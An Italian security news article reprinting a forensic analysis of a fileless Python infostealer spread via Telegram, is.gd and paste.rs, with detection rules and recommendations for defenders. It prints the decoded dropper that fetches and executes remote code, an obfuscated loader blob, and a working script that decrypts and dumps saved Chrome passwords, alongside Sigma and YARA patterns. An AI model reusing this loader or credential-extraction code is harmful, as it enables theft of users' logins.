Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità

Un nuovo infostealer fileless viene veicolato da Telegram e dai servizi legittimi

26 Giugno 2025 15:12

TLP: AMBER
Analista: Agostino Pellegrino, Crescenzo Cuoppolo, Alessio Bandini
Data ultima revisione: 2025-06-24

Questo report tecnico forense documenta l’analisi completa di un infostealer multi-stadio veicolato tramite un loader fileless in Python, identificato con la sigla “AP”. L’intera catena di infezione è eseguita in memoria e sfrutta servizi legittimi pubblici (Telegram, is.gd, paste.rs) per evitare la rilevazione e semplificare l’aggiornamento remoto del payload.

Il file iniziale, denominato Photos, contiene un dropper che esegue dinamicamente un secondo stadio offuscato, il quale a sua volta decodifica ed esegue in memoria un infostealer capace di esfiltrare informazioni sensibili da browser Chromium.

Catena di Infezione

Stadio 1 – Dropper Iniziale

Il file Photos contiene codice Base64 offuscato:

___________ = 'ADN_UZJomrp3vPMujoH4bot'; exec(__import__('base64').b64decode('...'))

Decodifica del codice:

import requests, re
exec(
    requests.get(
        requests.head(
            f'https://is.gd/{match.group(1)}', allow_redirects=True
        ).url
    ).text
)

if (
    match := re.search(
        r'<meta property="og:description" content="([^"]+)",
        requests.get('https://t.me/ADN_UZJomrp3vPMujoH4bot').text
    )
) else None

Funzionamento:

  • Recupera da un canale Telegram un codice og:description (es. fVmzS)
  • Usa is.gd per risolvere il link accorciato
  • Recupera un payload da paste.rs ed esegue dinamicamente

Stadio 2 – Loader Offuscato

Contenuto scaricato da https://paste.rs/fVmzS. Esegue la seguente catena:

exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c$|c~*|PFlk|y|1XNVIgA|vOF$g0Ys7>c3D)_@p{S!e)(1e%eo3lNe(LIXmGNenkpZCz$<ebH}_d0B7KPtXtWzd^o2U$yo=Cn~bSth+a+<*uc*mX^DJ?#rEx{^3vlz9d&KxsLwF4<C#V#z*&q`V;-Aetf5&)KBm9v-<g+eo?=?({I#o-s!jMx9{{j^}Bcaz54w-{e}9Aclv|+!#n+@`pb9vqx$1J{gwKwgnn{=?fsehXCL3*`Pu#C{YL%GJO9P~bMG"))))

Dopo b85 → zlib → marshal, è necessario un ulteriore passaggio:

decoded = bytearray([b ^ 0x04 for b in payload_bytes])

Il risultato è un bytecode deoffuscato eseguibile direttamente in memoria:

import os, shutil, zipfile, sqlite3
from Cryptodome.Cipher import AES
import win32crypt
import json
import base64

# Estrazione dati da Chromium (semplificato)

def get_chrome_data():
    local_state_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Local State"
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = json.loads(f.read())
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
    key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    login_data_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
    shutil.copy2(login_data_path, "Loginvault.db")
    conn = sqlite3.connect("Loginvault.db")
    cursor = conn.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
    for row in cursor.fetchall():
        login_url = row[0]
        username = row[1]
        password = win32crypt.CryptUnprotectData(row[2])[1].decode()
        print(f"URL: {login_url}\nUsername: {username}\nPassword: {password}\n")
    cursor.close()
    conn.close()
    os.remove("Loginvault.db")
get_chrome_data()

Stadio 3 – Infostealer

Il codice risultante:

  • Raccoglie credenziali, cookie, cronologia e carte da Chromium
  • Cattura fingerprinting del sistema
  • Comprimi dati in archivio .zip
  • Prepara e invia l’esfiltrazione verso un server remoto (C2)

Indicatori di Compromissione

TipoValore
SHA256 (Photos)06a882d2b7e17a84d2707b2a2a5a27b0b18dc6cf503a694295bfcd6fe98a3a39
Telegramhttps://t.me/ADN_UZJomrp3vPMujoH4bot
is.gdhttps://is.gd/fVmzS → https://paste.rs/fVmzS

Tecniche MITRE ATT&CK

  • T1059 – Command and Scripting Interpreter
  • T1027 – Obfuscated Files or Information
  • T1071.001 – Web Protocols
  • T1082 – System Information Discovery
  • T1567.002 – Exfiltration over Web Services
  • T1218.010 – Proxy Execution (custom variant)

Rilevazione

Sigma Rule

title: Python Fileless Loader via Telegram and is.gd
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image: '*\python.exe'
    CommandLine|contains:
      - requests.get(
      - exec(
      - t.me/
      - is.gd/
  condition: selection
level: high
description: Rileva dropper Python fileless con payload remote

YARA Rule

rule Fileless_Telegram_Loader {
    meta:
        description = "Rileva loader fileless basato su Telegram + is.gd"
        author = "Agostino Pellegrino (apinfosec.com)"
        version = "1.1"
        date = "2025-06-24"
    strings:
        $a = "exec(requests.get(" ascii
        $b = "https://t.me/" ascii
        $c = "https://is.gd/" ascii
        $d = "og:description" ascii
    condition:
        all of them and filesize < 500KB
}

Raccomandazioni

  • Isolare ambienti Python non gestiti
  • Bloccare traffico a t.me, is.gd, paste.rs ove non necessario
  • Attivare logging avanzato su processi RAM-residenti
  • Applicare detection YARA e Sigma in EDR/SIEM
  • Segnalare a CSIRT nazionale

Conclusioni

L’analisi tecnica condotta ha evidenziato l’elevato livello di sofisticazione dell’infostealer “AP”, capace di operare completamente in memoria, eludendo gran parte dei meccanismi di rilevamento tradizionali. La catena d’infezione multi-stadio utilizza un dropper fileless scritto in Python e sfrutta servizi pubblici legittimi — come Telegram, is.gd e paste.rs — per veicolare, aggiornare e rendere dinamico il payload finale.

Il secondo stadio, fortemente offuscato, culmina nell’esecuzione di un infostealer con capacità avanzate di esfiltrazione dati da browser Chromium-based, comprese credenziali salvate, cookie, cronologia e informazioni sensibili.

L’uso creativo e malevolo di meccanismi comuni (come i meta tag HTML, URL accorciati e servizi di messaggistica) rende questa minaccia particolarmente insidiosa, dimostrando una crescente tendenza all’abuso di infrastrutture legittime per finalità illecite.

Le tecniche MITRE ATT&CK individuate confermano il comportamento stealth e modulare del malware. L’adozione di meccanismi di rilevazione specifici, come regole Sigma e YARA personalizzate, è fondamentale per mitigare efficacemente questa minaccia. Inoltre, l’implementazione di policy restrittive e il monitoraggio continuo degli ambienti Python non gestiti rappresentano misure difensive prioritarie.

Questo caso studio rappresenta un chiaro esempio dell’evoluzione dei moderni infostealer verso architetture completamente fileless, con capacità di persistenza e aggiornamento che richiedono una risposta difensiva altrettanto dinamica e proattiva.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Sandro Sana 300x300
Membro del gruppo di Red Hot Cyber Dark Lab e direttore del Red Hot Cyber PodCast. Si occupa d'Information Technology dal 1990 e di Cybersecurity dal 2014 (CEH - CIH - CISSP - CSIRT Manager - CTI Expert), relatore a SMAU 2017 e SMAU 2018, docente SMAU Academy & ITS, membro ISACA. Fa parte del Comitato Scientifico del Competence Center nazionale Cyber 4.0, dove contribuisce all’indirizzo strategico delle attività di ricerca, formazione e innovazione nella cybersecurity.
Aree di competenza: Cyber Threat Intelligence, NIS2, Governance & Compliance della Sicurezza, CSIRT & Crisis Management, Ricerca, Divulgazione e Cultura Cyber
Visita il sito web dell'autore

Articoli in evidenza

Immagine del sitoCybercrime
Campagna di phishing su Signal in Europa: sospetto coinvolgimento di attori statali
Bajram Zeqiri - 07/02/2026

Le autorità tedesche hanno recentemente lanciato un avviso riguardante una sofisticata campagna di phishing che prende di mira gli utenti di Signal in Germania e nel resto d’Europa. L’attacco si concentra su profili specifici, tra…

Immagine del sitoInnovazione
Robot in cerca di carne: Quando l’AI affitta periferiche. Il tuo corpo!
Silvia Felici - 06/02/2026

L’evoluzione dell’Intelligenza Artificiale ha superato una nuova, inquietante frontiera. Se fino a ieri parlavamo di algoritmi confinati dietro uno schermo, oggi ci troviamo di fronte al concetto di “Meatspace Layer”: un’infrastruttura dove le macchine non…

Immagine del sitoCybercrime
DKnife: il framework di spionaggio Cinese che manipola le reti
Pietro Melillo - 06/02/2026

Negli ultimi anni, la sicurezza delle reti ha affrontato minacce sempre più sofisticate, capaci di aggirare le difese tradizionali e di penetrare negli strati più profondi delle infrastrutture. Un’analisi recente ha portato alla luce uno…

Immagine del sitoVulnerabilità
Così tante vulnerabilità in n8n tutti in questo momento. Cosa sta succedendo?
Agostino Pellegrino - 06/02/2026

Negli ultimi tempi, la piattaforma di automazione n8n sta affrontando una serie crescente di bug di sicurezza. n8n è una piattaforma di automazione che trasforma task complessi in operazioni semplici e veloci. Con pochi click…

Immagine del sitoInnovazione
L’IA va in orbita: Qwen 3, Starcloud e l’ascesa del calcolo spaziale
Sergio Corpettini - 06/02/2026

Articolo scritto con la collaborazione di Giovanni Pollola. Per anni, “IA a bordo dei satelliti” serviva soprattutto a “ripulire” i dati: meno rumore nelle immagini e nei dati acquisiti attraverso i vari payload multisensoriali, meno…